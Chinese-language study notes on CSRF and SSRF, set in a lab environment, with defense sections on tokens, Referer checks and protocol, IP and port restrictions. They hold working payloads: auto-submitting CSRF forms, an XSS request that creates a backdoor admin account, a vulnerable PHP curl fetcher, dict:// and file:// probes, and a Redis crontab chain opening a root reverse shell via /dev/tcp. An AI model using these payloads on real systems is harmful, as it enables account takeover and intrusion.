网络安全学习笔记:CSRF&&SSRF
CSRF&&SSRF
1、CSRF
1、关键点
web服务器对用户请求来源没有做验证,身份来源
CSRF 是一种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权,代表受害者执行非本意、恶意的操作。
对于大多数站点,浏览器请求自动发送与站点关联的所有凭据,例如用户的会话cookie,IP 地址,Windows域凭据等。因此,如果用户当前已对该站点进行了身份验证,则该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求。
进行跨站攻击,必须满足三个条件:
1、相关操作-攻击者应该能够诱导用户操作某些动作,比如修改密码等。
2、基于cookie的会话处理-执行跨站伪造需要发出一个或者多个http请求,并且该请求是通过cookie来标志用户的。
3、请求参数固定-跨站请求不能包含无法确定或者猜测的其它参数。例如,如果修改密码需要当前密码的值,那么攻击者就无法进行攻击
2、CSRF 场景复现
3、攻击流程
正常业务
首先我们使用admin/123456登录银行账户。
在另一台浏览器中,使用test/123456登录
可以操作admin用户给test用户汇款
CSRF 攻击
我们以admin用户的身份,在没有退掉当前网站的情况下,访问了一个极具诱惑性的网站。
当我们在这个网站中点击了某个链接
此时,我们会发现账户中给hacker 转了1000.
我们会发现,admin用户的并没有意愿给hacker 用户转账,这个操作完全是非本意的,而且请求在admin 用户不知不觉的情况下被发送。说明test 用户遭受了CSRF 攻击
如何触发
1、<a href="转账链接">一刀99</a>
2、<img src="">
<meta charset='utf-8'> <img src='./1.jpg'><br /> <img src='http://192.168.1.200/bank/action.php? username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>
这里,该页面通过<img> 标签发送一个get 请求,这个get 请求,正是用户发起的转账业务的请求。
POST 方式
即便转账操作使用POST 方法,攻击者也可以通过构造表单的方式来伪造请求,核心代码如下
---------- <meta charset='utf-8'> <form name='csrf' action='http://192.168.1.200/bank/action.php' method='post'> <input type='hidden' name='username' value='hacker'> <input type='hidden' name='money' value='100'> </form> <script>document.csrf.submit()</script> <img src="./1.jpg" ><br /> -----------
4、实战
攻击者可以通过XSS 来触发CSRF 攻击。因为,可以利用JS 来发送请求。 通过研究受害者的业务流程,攻击者可以构造如下代码。
<script> xmlhttp=new XMLHttpRequest(); xmlhttp.open(\'post\',\'http://192.168.1.200/cms/admin/user.action.php\',false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send(\'act=add&username=GGG&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0\'); </script>
我们将这段代码插入到网站留言板中,然后模拟网站管理员,登入后台,进行留言审核,只要管理员刷新页面就会触发XSS 代码,以管理员的身份发送一个请求,创建一个后台账户[GGG/123456],同时网站后台管理员一点感觉都没有
5、CSRF的防御
无效防御
很多防御方式都没有解决CSRF 的问题
@ 使用密码cookie
但是,所有cookie,即使是秘密的cookie,也会随着每个请求一起提交。无论最终用户是否被欺骗提交请求,都将提交所用身份验证令牌(身份凭据)。
@ 仅接受POST 请求
可以开发应用程序以仅接受用于执行业务逻辑的POST请求。误解是由于攻击者无法构建恶意链接,因此无法执行CSRF攻击。不幸的是,这种逻辑是不正确的。有许多方法可以让攻击者欺骗受害者提交伪造的POST请求,例如在隐藏值的攻击者网站中托管的简单表单。此表单可以有Javascript自动触发,也可以由认为表单会执行其他操作的受害者触发。
@ 多步交易
多步交易不足以预防CSRF。只要攻击者可以预测或推断完整的事务的每个步骤,就可以实现CSRF。
@ URL 重写
这可能被视为有用的CSRF预防技术,因为攻击者无法猜测受害者的会话ID。但是,用户的会话ID在URL中公开。所以不建议引入另一个漏洞来修复一个漏洞。
@ HTTPS
HTTPS 本身无法防御CSRF。但是,HTTPS应被视为任何预防措施应被值得信赖的先决条件。
有效的防御
@ 验证Referer字段
更具HTTP协议,在HTTP头中有一个字段Referer,他记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。用户正常登录该银行网站,在首次提交时,该转账请求的Referer的值就是当前页面的URL。而如果攻击者要该网站实施CSRF攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行使,银行就会验证其Referer值,如果Referer使其他网站的话,就有可能使CSRF攻击,则拒绝该请求。
(注:Referer 使可以修改的)
@ 添加Token验证
CSRF 攻击之所以能够成功,是因为攻击者可以伪造用的请求,该请求中所用的用户验证信息都存在与Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者不能伪造的信息,并且该信息不存在于Cookie之中。鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机长的token值,并在服务器端建立一个拦截器用来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。
@ 二次验证
二次验证,就是在转账等关键操作之前提供当前用户的密码或者验证码。二次验证可以有效地防御CSRF攻击。
@ 用户养成良好的习惯
如若我们养成良好的上网习惯,则能偶很大程度上减少CSRF攻击的危害,例如,用户在上网时,不要轻易点击网络论坛、聊天室、即时通讯工具或电子邮件中出现的链接或者图片;即时退出长时间不适用的已登录账户,尤其是管理员,应尽量在登出系统的情况下点击未知链接或图片,除此之外,用户还需要再连接互联网的计算机上安装合适的安全防护软件,并及时更新软件厂商发布的特征库,以保持安全软件对最新攻击的实时跟踪。
2、SSRF
1、概述
互联网上的很多Web 应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,Web 应用可以获取图片、文件资源(下载或读取)。如百度识图等
用户可以从本地或者URL的方式获取图片资源,交给百度识图处理。如果提交的是URL 地址,该应用就会通过URL 的方式获取图片资源。如果Web 应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造”的缺陷。请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的Web 安全漏洞之一。如果“请求伪造”发生在服务器端,那么这个漏洞就叫做“服务器端请求伪造”,英文名为Server-Side Request Forgery,简称SSRF。
2、危害
@ 端口扫描
@ 内网Web应用指纹识别
@ 攻击内网Web应用
@ 读取本地文件
3、SSRF 常见代码实现
在服务器端实现通过URL从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP语言和curl扩展实现该功能。
通过phpinfo()函数查看对curl扩展的支持,现在大部分wamp套件均支持curl扩展
<?php if (isset($_REQUEST['url'])){ $link = $_REQUEST['url']; $filename = './curled/'.time().'.txt'; $curlobj = curl_init($link); $fp = fopen($filename,"w"); curl_setopt($curlobj, CURLOPT_FILE, $fp); curl_setopt($curlobj, CURLOPT_HEADER, 0); curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE); curl_exec($curlobj); curl_close($curlobj); fclose($fp); $fp = fopen($filename,"r"); $result = fread($fp, filesize($filename)); fclose($fp); echo $result; }else{ echo "?url=[url]"; } ?>
将以上代码保存为.php 文件,该段代码实现从服务器获取资源的基本功能
提交?url=http://www.baidu.com
页面就会载入百度首页的资源。
同时,获取资源文件会保存在./curled中,并以发起请求时间戳命名。
4、SSRF 利用
访问正常文件
访问正常文件,提交参数?url=http://www.baidu.com/robots.txt
*端口扫描(扫描内网机器的端口)
当访问未开放端口,脚本会显示空白或者报错,提交参数 ?url=dict://127.0.0.1:1234 dict--->字典协议 gopher--->万金油协议 当访问开放端口时,脚本会显示bannner 信息。 ?url=dict://127.0.0.1:80 ?url=dict://127.0.0.1:3306
*读取系统本地文件
利用file协议可以任意读取本地系统文件,提交参数 ?url=file://c:\windows\system32\drivers\etc\hosts
*内网Web 应用指纹识别
识别内网应用使用的框架,平台,模块以及CMS 可以为后续的渗透测试提供很多的帮助。大多数Web 应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。 比如可以通过访问下列文件来判断phpMyadmin 是否安装以及详细版本 ?url=http://192.168.1.200/phpmyadmin/README
*攻击内网应用
内网安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务、Web 应用 仅仅通过get方法可以攻击的Web应用有很多,比如structs2命令执行等。 weblogic从ssrf到redis未授权访问到getshell redis数据库---6379 未授权访问 不需要用户名和密码就可以访问数据库,读写文件,root权限
5、实战
weblogic从ssrf到redis未授权访问到getshell redis 数据库-->6379 未授权访问-->在访问数据库是不需要提供用户名和密码-->具有root权限
选择SSRF点,进行内网探测
did not have a valid SOAP content-type 访问非http协议
could not connect over HTTP to server 不存在的端口
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.131.136/777 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save crontab-->读写计划任务文件-->反弹shell到指定地址 以root用户将bash弹到192.168.131.136的777端口,将命令保存到etc/crontab中 需要自行更改IP和端口(对上面的代码进行URL转码) test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.131.136%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa 修改如下 http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.131.136%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
3、防御
@ 限制协议
仅允许http和https请求。
@ 限制IP
避免应用被用来获取内网数据,攻击内网。
@ 限制端口
限制请求的端口为http 常用的端口,例如80 443 8080 8090
@ 过滤返回信息
验证远程服务器对请求的响应是比较简单的方法。
@ 统一错误信息
避免用户可以根据错误信息来判断远端服务器的端口状态